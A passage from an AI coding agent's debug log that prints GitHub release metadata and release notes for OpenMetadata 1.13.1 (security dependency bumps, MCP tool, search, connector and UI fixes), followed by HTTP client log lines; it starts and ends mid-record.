download_url\\\":\\\"https://github.com/open-metadata/OpenMetadata/releases/download/1.13.1-release/docker-compose-openmetadata.yml\\\"},{\\\"url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/assets/459449959\\\",\\\"id\\\":459449959,\\\"node_id\\\":\\\"RA_kwDOF1l8-M4bYqZn\\\",\\\"name\\\":\\\"docker-compose-postgres.yml\\\",\\\"label\\\":\\\"\\\",\\\"uploader\\\":{\\\"login\\\":\\\"collate-release-automations[bot]\\\",\\\"id\\\":168888702,\\\"node_id\\\":\\\"BOT_kgDOChEJfg\\\",\\\"avatar_url\\\":\\\"https://avatars.githubusercontent.com/in/891129?v=4\\\",\\\"gravatar_id\\\":\\\"\\\",\\\"url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D\\\",\\\"html_url\\\":\\\"https://github.com/apps/collate-release-automations\\\",\\\"followers_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/followers\\\",\\\"following_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/following{/other_user}\\\",\\\"gists_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/gists{/gist_id}\\\",\\\"starred_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/starred{/owner}{/repo}\\\",\\\"subscriptions_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/subscriptions\\\",\\\"organizations_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/orgs\\\",\\\"repos_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/repos\\\",\\\"events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/events{/privacy}\\\",\\\"received_events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/received_events\\\",\\\"type\\\":\\\"Bot\\\",\\\"user_view_type\\\":\\\"public\\\",\\\"site_admin\\\":false},\\\"content_type\\\":\\\"text/vnd.yaml\\\",\\\"state\\\":\\\"uploaded\\\",\\\"size\\\":30395,\\\"digest\\\":\\\"sha256:27dee6ff512da84dc933b3e92abe02b413f700c9abed4b365fedf6e434cd4aac\\\",\\\"download_count\\\":337,\\\"created_at\\\":\\\"2026-06-27T11:35:52Z\\\",\\\"updated_at\\\":\\\"2026-06-27T11:35:52Z\\\",\\\"browser_download_url\\\":\\\"https://github.com/open-metadata/OpenMetadata/releases/download/1.13.1-release/docker-compose-postgres.yml\\\"},{\\\"url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/assets/459449963\\\",\\\"id\\\":459449963,\\\"node_id\\\":\\\"RA_kwDOF1l8-M4bYqZr\\\",\\\"name\\\":\\\"docker-compose.yml\\\",\\\"label\\\":\\\"\\\",\\\"uploader\\\":{\\\"login\\\":\\\"collate-release-automations[bot]\\\",\\\"id\\\":168888702,\\\"node_id\\\":\\\"BOT_kgDOChEJfg\\\",\\\"avatar_url\\\":\\\"https://avatars.githubusercontent.com/in/891129?v=4\\\",\\\"gravatar_id\\\":\\\"\\\",\\\"url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D\\\",\\\"html_url\\\":\\\"https://github.com/apps/collate-release-automations\\\",\\\"followers_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/followers\\\",\\\"following_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/following{/other_user}\\\",\\\"gists_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/gists{/gist_id}\\\",\\\"starred_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/starred{/owner}{/repo}\\\",\\\"subscriptions_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/subscriptions\\\",\\\"organizations_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/orgs\\\",\\\"repos_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/repos\\\",\\\"events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/events{/privacy}\\\",\\\"received_events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/received_events\\\",\\\"type\\\":\\\"Bot\\\",\\\"user_view_type\\\":\\\"public\\\",\\\"site_admin\\\":false},\\\"content_type\\\":\\\"text/vnd.yaml\\\",\\\"state\\\":\\\"uploaded\\\",\\\"size\\\":30324,\\\"digest\\\":\\\"sha256:2f3ead4fa428564f14bfcea1ea7c7fe9815c0102c08b90f7011f6eb3f2c91f1d\\\",\\\"download_count\\\":537,\\\"created_at\\\":\\\"2026-06-27T11:35:52Z\\\",\\\"updated_at\\\":\\\"2026-06-27T11:35:53Z\\\",\\\"browser_download_url\\\":\\\"https://github.com/open-metadata/OpenMetadata/releases/download/1.13.1-release/docker-compose.yml\\\"},{\\\"url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/assets/459455045\\\",\\\"id\\\":459455045,\\\"node_id\\\":\\\"RA_kwDOF1l8-M4bYrpF\\\",\\\"name\\\":\\\"openmetadata-1.13.1.tar.gz\\\",\\\"label\\\":\\\"\\\",\\\"uploader\\\":{\\\"login\\\":\\\"github-actions[bot]\\\",\\\"id\\\":41898282,\\\"node_id\\\":\\\"MDM6Qm90NDE4OTgyODI=\\\",\\\"avatar_url\\\":\\\"https://avatars.githubusercontent.com/in/15368?v=4\\\",\\\"gravatar_id\\\":\\\"\\\",\\\"url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D\\\",\\\"html_url\\\":\\\"https://github.com/apps/github-actions\\\",\\\"followers_url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D/followers\\\",\\\"following_url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D/following{/other_user}\\\",\\\"gists_url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D/gists{/gist_id}\\\",\\\"starred_url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D/starred{/owner}{/repo}\\\",\\\"subscriptions_url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D/subscriptions\\\",\\\"organizations_url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D/orgs\\\",\\\"repos_url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D/repos\\\",\\\"events_url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D/events{/privacy}\\\",\\\"received_events_url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D/received_events\\\",\\\"type\\\":\\\"Bot\\\",\\\"user_view_type\\\":\\\"public\\\",\\\"site_admin\\\":false},\\\"content_type\\\":\\\"application/tar.gz\\\",\\\"state\\\":\\\"uploaded\\\",\\\"size\\\":342677207,\\\"digest\\\":\\\"sha256:b72fde50766765c21d7a7b6155f75e6208b992b5f1aa57f61fc2f8c2e480e4f1\\\",\\\"download_count\\\":148,\\\"created_at\\\":\\\"2026-06-27T11:47:51Z\\\",\\\"updated_at\\\":\\\"2026-06-27T11:48:00Z\\\",\\\"browser_download_url\\\":\\\"https://github.com/open-metadata/OpenMetadata/releases/download/1.13.1-release/openmetadata-1.13.1.tar.gz\\\"}],\\\"tarball_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/tarball/1.13.1-release\\\",\\\"zipball_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/zipball/1.13.1-release\\\",\\\"body\\\":\\\"### \ud83d\udd12 Security\\\\r\\\\n\\\\r\\\\n- **Netty CVE-2026-44249** [#28880](https://github.com/open-metadata/OpenMetadata/pull/28880): Bumped `netty-bom` to 4.1.135.Final.\\\\r\\\\n- **Jackson-databind CVE-2026-54512/513/514** [#29389](https://github.com/open-metadata/OpenMetadata/pull/29389): Bumped `jackson-databind` from 2.18.7 to 2.18.8.\\\\r\\\\n- **Spring, Micrometer & OpenTelemetry CVE patches** [#29111](https://github.com/open-metadata/OpenMetadata/pull/29111): Spring 6.2.18 \u2192 6.2.19, Micrometer upgraded, and OpenTelemetry pinned to patch reported CVEs.\\\\r\\\\n- **ws CVE-2026-48779** [#29122](https://github.com/open-metadata/OpenMetadata/pull/29122): Bumped `ws` to 8.21.0.\\\\r\\\\n- **handlebars CVE-2026-55760** [#29221](https://github.com/open-metadata/OpenMetadata/pull/29221): Bumped `handlebars` to 4.5.2 to patch a path-traversal vulnerability.\\\\r\\\\n- **sudo CVE-2026-35535** [#29343](https://github.com/open-metadata/OpenMetadata/pull/29343): Upgraded `sudo` in the ingestion Docker image.\\\\r\\\\n- **UI dependency vulnerability fixes** [#29223](https://github.com/open-metadata/OpenMetadata/pull/29223) [#29241](https://github.com/open-metadata/OpenMetadata/pull/29241): Bumped `undici` 6.25.0 \u2192 6.27.0, `form-data`, `dompurify`, `markdown-it`, and `js-yaml`.\\\\r\\\\n- **form-data bumped** [#29349](https://github.com/open-metadata/OpenMetadata/pull/29349): Updated the `form-data` package to address reported vulnerabilities.\\\\r\\\\n\\\\r\\\\n### \ud83e\udd16 MCP (Model Context Protocol)\\\\r\\\\n\\\\r\\\\n- **MCP Registry publishing** [#27982](https://github.com/open-metadata/OpenMetadata/pull/27982): Added `server.json` for publishing openmetadata-mcp to the official MCP Registry, enabling discovery across aggregators like PulseMCP.\\\\r\\\\n- **MCP tool usage analytics** [#28352](https://github.com/open-metadata/OpenMetadata/pull/28352): MCP tool calls now track usage metrics including per-tool latency percentiles, ok/fail counts, and client classification (VS Code, Claude CLI, etc.) with reservoir sampling.\\\\r\\\\n- **Cap search_metadata response size** [#28383](https://github.com/open-metadata/OpenMetadata/pull/28383): Capped `search_metadata` response size to prevent LLM context overflow and guides LLM clients to use smaller page sizes.\\\\r\\\\n- **Map MCP error responses to correct HTTP status codes** [#28622](https://github.com/open-metadata/OpenMetadata/pull/28622): MCP tool error responses now return the correct HTTP status codes instead of generic errors.\\\\r\\\\n- **Slim get_entity_lineage payload** [#28618](https://github.com/open-metadata/OpenMetadata/pull/28618): Optimized `get_entity_lineage` MCP tool payload with a slim transform to reduce response size.\\\\r\\\\n- **Compact create tool responses** [#28633](https://github.com/open-metadata/OpenMetadata/pull/28633): `create_metric`, `create_test_case`, and `create_glossary_term` tools now return compact entity representations.\\\\r\\\\n- **Slim root_cause_analysis payload** [#28632](https://github.com/open-metadata/OpenMetadata/pull/28632): Slimmed the `root_cause_analysis` tool payload to fit within LLM context limits.\\\\r\\\\n- **Return similarityScore in search_metadata** [#28512](https://github.com/open-metadata/OpenMetadata/pull/28512): `search_metadata` results now include `_score` as `similarityScore` for relevance ranking.\\\\r\\\\n- **Fix entityType filtering in search_metadata** [#28698](https://github.com/open-metadata/OpenMetadata/pull/28698): Resolved index routing by `entityType` to prevent cross-type result leaks and hardened parameter validation.\\\\r\\\\n- **Search test cases and test suites via search_metadata** [#28743](https://github.com/open-metadata/OpenMetadata/pull/28743): `search_metadata` now supports searching test cases and test suites.\\\\r\\\\n- **Shared trim util and global response size-budget** [#28764](https://github.com/open-metadata/OpenMetadata/pull/28764): Introduced shared response-trim utilities and a global size-budget net across all MCP tools.\\\\r\\\\n- **Trim wide-table payload in get_entity_details** [#28776](https://github.com/open-metadata/OpenMetadata/pull/28776): `get_entity_details` now trims wide-table payloads (column descriptions, schema/model SQL) to stay within size budgets.\\\\r\\\\n- **MCP OAuth login fix** [#29228](https://github.com/open-metadata/OpenMetadata/pull/29228): Fixed `/mcp/callback` handling of the active-session shortcut and implicit-flow `id_token` returned in the URL fragment by SSO.\\\\r\\\\n- **Fix OAuth state double-encoding** [#28952](https://github.com/open-metadata/OpenMetadata/pull/28952): OAuth state is now echoed without double-encoding in the redirect URI.\\\\r\\\\n\\\\r\\\\n### \ud83d\udd0d Search & Reindexing\\\\r\\\\n\\\\r\\\\n- **Vectorize testSuite/testCase for hybrid search** [#28669](https://github.com/open-metadata/OpenMetadata/pull/28669): Test suites and test cases are now vectorized, enabling hybrid (keyword + semantic) search over data quality entities.\\\\r\\\\n- **Make users and admins searchable by email** [#28800](https://github.com/open-metadata/OpenMetadata/pull/28800): Users and admins are now searchable by their email address.\\\\r\\\\n- **Recreate all indexes on major/minor version upgrade** [#28885](https://github.com/open-metadata/OpenMetadata/pull/28885): All search indexes are now recreated on major or minor version upgrades to pick up mapping changes.\\\\r\\\\n- **Reindex-drift and index health checks** [#28856](https://github.com/open-metadata/OpenMetadata/pull/28856): Added reindex-drift detection and index health checks in `/system/validate`.\\\\r\\\\n- **Fix reindex OOM on wide tables** [#28888](https://github.com/open-metadata/OpenMetadata/pull/28888): Switched to a covering cursor query and added entity name indexes to prevent out-of-sort-memory errors during reindex.\\\\r\\\\n- **Re-add --recreate-indexes flag** [#29087](https://github.com/open-metadata/OpenMetadata/pull/29087): Restored the `--recreate-indexes` flag to the reindex CLI for backward compatibility.\\\\r\\\\n- **Staged-index rescue uses index_total** [#29108](https://github.com/open-metadata/OpenMetadata/pull/29108): Uses `index_total` instead of `docs.count` for staged-index rescue so a failed reindex doesn't delete a populated index.\\\\r\\\\n- **Never apply refresh_interval=-1 as live serving value** [#29153](https://github.com/open-metadata/OpenMetadata/pull/29153): Prevents `refresh_interval=-1` from being applied as a live serving value on index promote.\\\\r\\\\n- **Cap oversized dataModel column tree at index time** [#29212](https://github.com/open-metadata/OpenMetadata/pull/29212): Containers/tables with pathologically large dataModel schemas now have nested column children stripped at index time to prevent OOM.\\\\r\\\\n- **Regenerate embeddings on dimension change** [#29437](https://github.com/open-metadata/OpenMetadata/pull/29437): Embeddings are regenerated when vector dimensions change instead of reusing stale vectors.\\\\r\\\\n- **Backfill name indexes for distributed reindex pagination** [#29361](https://github.com/open-metadata/OpenMetadata/pull/29361): Name indexes are backfilled to support distributed reindex pagination.\\\\r\\\\n- **Bound column-index fan-out** [#29377](https://github.com/open-metadata/OpenMetadata/pull/29377): Bounded table column-index fan-out to prevent reindex OOM on wide tables.\\\\r\\\\n- **Surface exact/prefix matches first in QuickFilter** [#29231](https://github.com/open-metadata/OpenMetadata/pull/29231): QuickFilter aggregations now surface exact and prefix matches first.\\\\r\\\\n- **Extend best-match ordering to sourceFields/topHits** [#29296](https://github.com/open-metadata/OpenMetadata/pull/29296): Extended the best-match ordering logic to sourceFields and topHits requests.\\\\r\\\\n- **My Data defaults to dataAsset index** [#29209](https://github.com/open-metadata/OpenMetadata/pull/29209): Changed the My Data page from the `all` index to `dataAsset` for more relevant results.\\\\r\\\\n- **Stop time-series field propagation** [#29499](https://github.com/open-metadata/OpenMetadata/pull/29499): Stopped time-series field propagation to prevent stale data in downstream indexes.\\\\r\\\\n\\\\r\\\\n### \ud83d\udd0c Connectors & Ingestion\\\\r\\\\n\\\\r\\\\n- **PowerBI datamarts support** [#28896](https://github.com/open-metadata/OpenMetadata/pull/28896): Added support for Power BI datamarts.\\\\r\\\\n- **Fivetran improvements** [#27270](https://github.com/open-metadata/OpenMetadata/pull/27270): Various improvements to the Fivetran connector.\\\\r\\\\n- **Athena: pass catalogId for S3 Tables enumeration** [#28929](https://github.com/open-metadata/OpenMetadata/pull/28929): Passes `catalogId` to `get_tables` for Athena S3 Tables enumeration.\\\\r\\\\n- **Athena: ingest Iceberg table properties** [#27715](https://github.com/open-metadata/OpenMetadata/pull/27715): Ingests Iceberg table properties from the `$properties` metatable.\\\\r\\\\n- **Athena: remove Trino stats** [#29446](https://github.com/open-metadata/OpenMetadata/pull/29446): Removed Trino-specific stats from the Athena table profiler.\\\\r\\\\n- **MySQL: refresh RDS IAM auth token per connection** [#28730](https://github.com/open-metadata/OpenMetadata/pull/28730): IAM auth tokens are now refreshed per connection instead of reusing stale tokens.\\\\r\\\\n- **MySQL: default stored-procedure language to SQL** [#28898](https://github.com/open-metadata/OpenMetadata/pull/28898): Unknown stored-procedure languages now default to SQL instead of `None`.\\\\r\\\\n- **MySQL: parameterize routines query** [#29077](https://github.com/open-metadata/OpenMetadata/pull/29077): Parameterized the MySQL routines query to avoid SQL string interpolation.\\\\r\\\\n- **Metabase: StarRocks SQL dialect for lineage** [#29033](https://github.com/open-metadata/OpenMetadata/pull/29033): StarRocks connections now route to the StarRocks SQL dialect so StarRocks-specific syntax parses correctly for lineage.\\\\r\\\\n- **Metabase: strip optional clause blocks** [#29390](https://github.com/open-metadata/OpenMetadata/pull/29390): Strips `[[...]]` optional clause blocks before lineage parsing.\\\\r\\\\n- **Datalake: parse array type nested structures in JSON** [#27798](https://github.com/open-metadata/OpenMetadata/pull/27798): Fixed parsing of array type nested structure fields inside JSON files.\\\\r\\\\n- **Iceberg/Delta: ingest metadata.json with real table columns** [#28422](https://github.com/open-metadata/OpenMetadata/pull/28422): Iceberg/Delta `metadata.json` files are now ingested with real table columns instead of placeholder schema.\\\\r\\\\n- **Upgrade collate-sqllineage** [#27413](https://github.com/open-metadata/OpenMetadata/pull/27413): Upgraded `collate-sqllineage` to \u22652.1.1 with regression tests.\\\\r\\\\n- **OpenLineage: reset Kinesis poll inactivity timer** [#29276](https://github.com/open-metadata/OpenMetadata/pull/29276): Resets the Kinesis poll inactivity timer per shard to prevent premature stream abandonment.\\\\r\\\\n- **OpenLineage: de-aggregate KPL records** [#29037](https://github.com/open-metadata/OpenMetadata/pull/29037): De-aggregates KPL (Kinesis Producer Library) records in the Kinesis source.\\\\r\\\\n- **SAP HANA: profiler fix** [#27483](https://github.com/open-metadata/OpenMetadata/pull/27483): Fixed `CREATE_TIME` lookup to use `SYS.TABLES` with uppercase catalog matching.\\\\r\\\\n- **Unity Catalog: incremental extraction flag** [#28906](https://github.com/open-metadata/OpenMetadata/pull/28906): Added the missing `supportsIncrementalMetadataExtraction` flag.\\\\r\\\\n- **dbt Cloud: stale FQN and null timestamp** [#29525](https://github.com/open-metadata/OpenMetadata/pull/29525): Fixed dbt Cloud pipeline status using stale FQN and null timestamp.\\\\r\\\\n- **Secret serialization fixes** [#28625](https://github.com/open-metadata/OpenMetadata/pull/28625) [#29198](https://github.com/open-metadata/OpenMetadata/pull/29198) [#29216](https://github.com/open-metadata/OpenMetadata/pull/29216): Preserved `secret:` prefix during Python SDK serialization, handled empty connection passwords with `CustomSecretStr`, and hardened serialization for null secrets.\\\\r\\\\n- **Fix lineage script_exception in ADD_UPDATE_LINEAGE** [open-metadata/openmetadata-collate#4481](https://github.com/open-metadata/openmetadata-collate/pull/4481): Fixed script exceptions during lineage add/update operations.\\\\r\\\\n\\\\r\\\\n### \ud83d\udcd6 Glossary\\\\r\\\\n\\\\r\\\\n- **Cascade glossary rename to child terms in search index** [#29159](https://github.com/open-metadata/OpenMetadata/pull/29159): Renaming a glossary now updates the denormalized `glossary.name` / `glossary.fullyQualifiedName` on every child term's search-index doc.\\\\r\\\\n- **Keep approvals valid after move** [#29214](https://github.com/open-metadata/OpenMetadata/pull/29214): Approvals remain valid after a glossary term is moved.\\\\r\\\\n- **Skip move consolidation** [#29266](https://github.com/open-metadata/OpenMetadata/pull/29266): Fixes glossary term move operations by skipping unnecessary consolidation.\\\\r\\\\n- **Preserve domains through CSV import/export** [#29509](https://github.com/open-metadata/OpenMetadata/pull/29509): Glossary term domains are now preserved during CSV bulk import/export, and a `domains` column is added to the CSV format.\\\\r\\\\n- **Show approve/reject buttons after Expand All** [#29295](https://github.com/open-metadata/OpenMetadata/pull/29295): The Expand-All tree fetch now requests the `reviewers` field so nested In-Review terms retain their approve/reject buttons.\\\\r\\\\n\\\\r\\\\n### \ud83d\udee1\ufe0f Data Governance & Quality\\\\r\\\\n\\\\r\\\\n- **ODPS Support for Data Products** [#29154](https://github.com/open-metadata/OpenMetadata/pull/29154): Added ODPS support for data products with custom intake forms.\\\\r\\\\n- **Data product support in Observability** [#28713](https://github.com/open-metadata/OpenMetadata/pull/28713): Added data product support in the Observability UI and backend.\\\\r\\\\n- **Preserve data products across domain deletes** [#29137](https://github.com/open-metadata/OpenMetadata/pull/29137): When a data product's domain is changed and the original domain is hard-deleted, the stale relationship is now removed so data products are preserved.\\\\r\\\\n- **Delete orphaned test cases + guard test-definition deletion** [#29081](https://github.com/open-metadata/OpenMetadata/pull/29081): Orphaned test cases can now be hard-deleted, and test-definition deletion is guarded against missing relationships.\\\\r\\\\n- **Redeploy workflow BPMN on upgrade** [#29465](https://github.com/open-metadata/OpenMetadata/pull/29465): Workflow BPMN definitions are redeployed on upgrade so moved or renamed approvals resolve correctly.\\\\r\\\\n- **Allow bare function references in SpEL conditions** [#28946](https://github.com/open-metadata/OpenMetadata/pull/28946): Governance policy SpEL conditions now allow bare references to approved functions.\\\\r\\\\n- **Snapshot entityStatus for Data Insights** [#29313](https://github.com/open-metadata/OpenMetadata/pull/29313): Snapshots `entityStatus` so Data Insights charts can filter by lifecycle status.\\\\r\\\\n- **Project tags to DI snapshot** [#29382](https://github.com/open-metadata/OpenMetadata/pull/29382): Projects `classificationTags` and `glossaryTags` to the Data Insights snapshot.\\\\r\\\\n- **Add documentation panel to test definition form** [#29430](https://github.com/open-metadata/OpenMetadata/pull/29430): Added a documentation panel to the test definition creation form.\\\\r\\\\n\\\\r\\\\n### \ud83d\udd14 Alerts & Notifications\\\\r\\\\n\\\\r\\\\n- **Match Entity FQN filter against descendants** [#28833](https://github.com/open-metadata/OpenMetadata/pull/28833): Entity FQN filters now match against both the entity and its descendants.\\\\r\\\\n- **Dedup successful change events** [#28827](https://github.com/open-metadata/OpenMetadata/pull/28827): Deduplicates successful change events to prevent Postgres `ON CONFLICT` abort errors.\\\\r\\\\n- **Observability triggers skip thread events** [#29112](https://github.com/open-metadata/OpenMetadata/pull/29112): Observability status triggers no longer fire on thread events.\\\\r\\\\n- **Owner/user name filters match dotted usernames** [#29523](https://github.com/open-metadata/OpenMetadata/pull/29523): Owner and user name filters now correctly match usernames containing a dot.\\\\r\\\\n\\\\r\\\\n### \ud83d\udd10 Authentication\\\\r\\\\n\\\\r\\\\n- **OIDC/SAML self-signup persists mapped email claim** [#29227](https://github.com/open-metadata/OpenMetadata/pull/29227): Self-signup now persists the mapped email claim from OIDC/SAML.\\\\r\\\\n\\\\r\\\\n### \ud83e\uddec Lineage\\\\r\\\\n\\\\r\\\\n- **Render traced edges and nodes** [#29195](https://github.com/open-metadata/OpenMetadata/pull/29195): Lineage now visually renders traced edges and nodes.\\\\r\\\\n- **Restore edges in lineage PNG export** [#29250](https://github.com/open-metadata/OpenMetadata/pull/29250): Edges are restored after canvas re-render in the lineage PNG export.\\\\r\\\\n- **Fix PNG lineage export download** [#29362](https://github.com/open-metadata/OpenMetadata/pull/29362): Fixed PNG lineage export download and late loading spinner.\\\\r\\\\n- **Correct nodeDepth for fetched nodes** [#27477](https://github.com/open-metadata/OpenMetadata/pull/27477): Updates `nodeDepth` on fetched nodes using the base `nodeDepth`.\\\\r\\\\n- **Drop nodeDepth partitioning for ELK** [#29224](https://github.com/open-metadata/OpenMetadata/pull/29224): Dropped `nodeDepth` partitioning so ELK derives lineage layers from edges.\\\\r\\\\n\\\\r\\\\n### \u2699\ufe0f Platform\\\\r\\\\n\\\\r\\\\n- **Re-arm audit log consumer trigger on startup** [#28821](https://github.com/open-metadata/OpenMetadata/pull/28821): The audit log consumer trigger is now re-armed on startup instead of being skipped when the Quartz job already exists, preventing silent audit event loss after restarts.\\\\r\\\\n- **Validate Flowable pool connections for DB failover** [#28835](https://github.com/open-metadata/OpenMetadata/pull/28835): Enabled MyBatis pool-ping validation (SELECT 1) on the Flowable runtime engine so connections idle past 30 seconds are validated and replaced before reuse, surviving Aurora/RDS failovers and maintenance restarts.\\\\r\\\\n- **Defer row fetch in audit logs list query** [#28851](https://github.com/open-metadata/OpenMetadata/pull/28851): Avoids a full-row scan when listing audit logs.\\\\r\\\\n- **AuditLogConsumer offset gap resilience** [#29252](https://github.com/open-metadata/OpenMetadata/pull/29252): The audit log consumer no longer skips events when `change_event.offset` gaps appear under concurrent writes.\\\\r\\\\n- **Concatenate multi-line SSE data fields** [#28945](https://github.com/open-metadata/OpenMetadata/pull/28945): Multi-line SSE `data:` fields are now concatenated instead of overwritten.\\\\r\\\\n- **Force UTF-8 decoding in SSE** [#29532](https://github.com/open-metadata/OpenMetadata/pull/29532): Forces UTF-8 decoding in SSE streams to prevent JSON truncation on multibyte characters.\\\\r\\\\n- **Persist nested column changes on PATCH** [#28837](https://github.com/open-metadata/OpenMetadata/pull/28837): Nested column changes are now persisted on optimistic-locking PATCH operations.\\\\r\\\\n- **Sync IngestionPipeline schedule on app changes** [#28702](https://github.com/open-metadata/OpenMetadata/pull/28702): When an app's schedule changes, the backing `IngestionPipeline.scheduleInterval` is now synced so K8s/Argo/Hybrid runners pick up the new schedule.\\\\r\\\\n- **Support double-quotes in FQN** [#28697](https://github.com/open-metadata/OpenMetadata/pull/28697): Fully qualified names now support double-quoted segments, with guard and repair logic for corrupt FQNs.\\\\r\\\\n- **Surface external secret read failures** [#28767](https://github.com/open-metadata/OpenMetadata/pull/28767): External secret read failures are now surfaced instead of being misrouted to create.\\\\r\\\\n- **Fix SocketAddressFilter NPE** [#29263](https://github.com/open-metadata/OpenMetadata/pull/29263): Fixed NPE on WebSocket handshake without a query string.\\\\r\\\\n- **Fix RDF Fuseki bulk write timeouts** [#28564](https://github.com/open-metadata/OpenMetadata/pull/28564): Fixed bulk write timeouts in the RDF Fuseki integration.\\\\r\\\\n- **RDF: index additional entity types** [#29327](https://github.com/open-metadata/OpenMetadata/pull/29327): Dashboard, DashboardDataModel, Table, and StoredProcedure are now properly indexed in the knowledge graph.\\\\r\\\\n- **RDF glossary term filtering** [#29368](https://github.com/open-metadata/OpenMetadata/pull/29368): Added support for RDF glossary term filtering.\\\\r\\\\n- **Slow Data Retention cleanup fix** [#29363](https://github.com/open-metadata/OpenMetadata/pull/29363): Fixed slow, memory-bound Data Retention entity relationship cleanup.\\\\r\\\\n- **Backfill pipeline service edges** [#29529](https://github.com/open-metadata/OpenMetadata/pull/29529): Migration backfills pipeline service edges in 1.13.1.\\\\r\\\\n- **Disabled new sidebar items by default for existing personas** [#29032](https://github.com/open-metadata/OpenMetadata/pull/29032): New sidebar items are disabled by default for existing personas to avoid unexpected navigation changes.\\\\r\\\\n- **Remove content/column name split for classification** [#29203](https://github.com/open-metadata/OpenMetadata/pull/29203): Removed the content/column name split for classification processing.\\\\r\\\\n\\\\r\\\\n### \ud83c\udf9b\ufe0f UI\\\\r\\\\n\\\\r\\\\n- **Prevent ontology graph crash on large glossaries** [#29270](https://github.com/open-metadata/OpenMetadata/pull/29270): Prevented the ontology relations graph from crashing on large glossaries.\\\\r\\\\n- **Block-editor link modal in drawers** [#29374](https://github.com/open-metadata/OpenMetadata/pull/29374): Kept the link modal usable inside focus-trapping drawers.\\\\r\\\\n- **Preserve Persona navigation ordering** [#29353](https://github.com/open-metadata/OpenMetadata/pull/29353): Saved Persona navigation ordering is now preserved on reload.\\\\r\\\\n- **Scope \\\\\\\"between\\\\\\\" operator to numeric custom properties** [#29335](https://github.com/open-metadata/OpenMetadata/pull/29335): The `between` operator now correctly sends the upper bound for numeric custom properties only.\\\\r\\\\n- **Tag column filter on nested tables** [#29075](https://github.com/open-metadata/OpenMetadata/pull/29075): Tag column filter on nested schema/column tables now shows only matching fields.\\\\r\\\\n- **Hide disabled Tiers from dropdown** [#29466](https://github.com/open-metadata/OpenMetadata/pull/29466): Disabled Tiers are now hidden from the Tier selection dropdown.\\\\r\\\\n- **Data product filter in Data Quality** [#29456](https://github.com/open-metadata/OpenMetadata/pull/29456): Included data product filter in Data Quality parameters.\\\\r\\\\n- **Data Quality pagination** [#29512](https://github.com/open-metadata/OpenMetadata/pull/29512): Forwarded `showPagination` to the DataQualityTab component.\\\\r\\\\n- **FQN double-quote support in UI** [#28697](https://github.com/open-metadata/OpenMetadata/pull/28697): Added double-quoted name support in the UI FQN utility.\\\\r\\\\n- **Untitled-UI dropdowns for Add Assets drawer** [#29168](https://github.com/open-metadata/OpenMetadata/pull/29168): Replaced quick-filters in the Add Assets drawer with Untitled-UI dropdowns.\\\",\\\"reactions\\\":{\\\"url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/345681790/reactions\\\",\\\"total_count\\\":4,\\\"+1\\\":0,\\\"-1\\\":0,\\\"laugh\\\":0,\\\"hooray\\\":0,\\\"confused\\\":0,\\\"heart\\\":4,\\\"rocket\\\":0,\\\"eyes\\\":0}}\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:59.875Z] [INFO] \n[2026-07-12T04:02:59.904Z] [INFO] 2026-07-12T04:02:59.903189Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:59.904Z] [INFO] 2026-07-12T04:02:59.903288Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:59 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"fcd35bc1-0b4d-97ce-8eb3-7eeb518286fd\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=KUhUiuIwJ9zU01J6c1cGG8IyZxup64gMcud2bhRiLrByqRIDQi8UIyVBY7igA%2FVf94nWKWB6XyQBUrTHgdc%2BAVUhhMjWtm1KHzouXrUl5c%2B8qQ%2FAOWDpDsTdf16H\\\"}]}\", \"nel\": 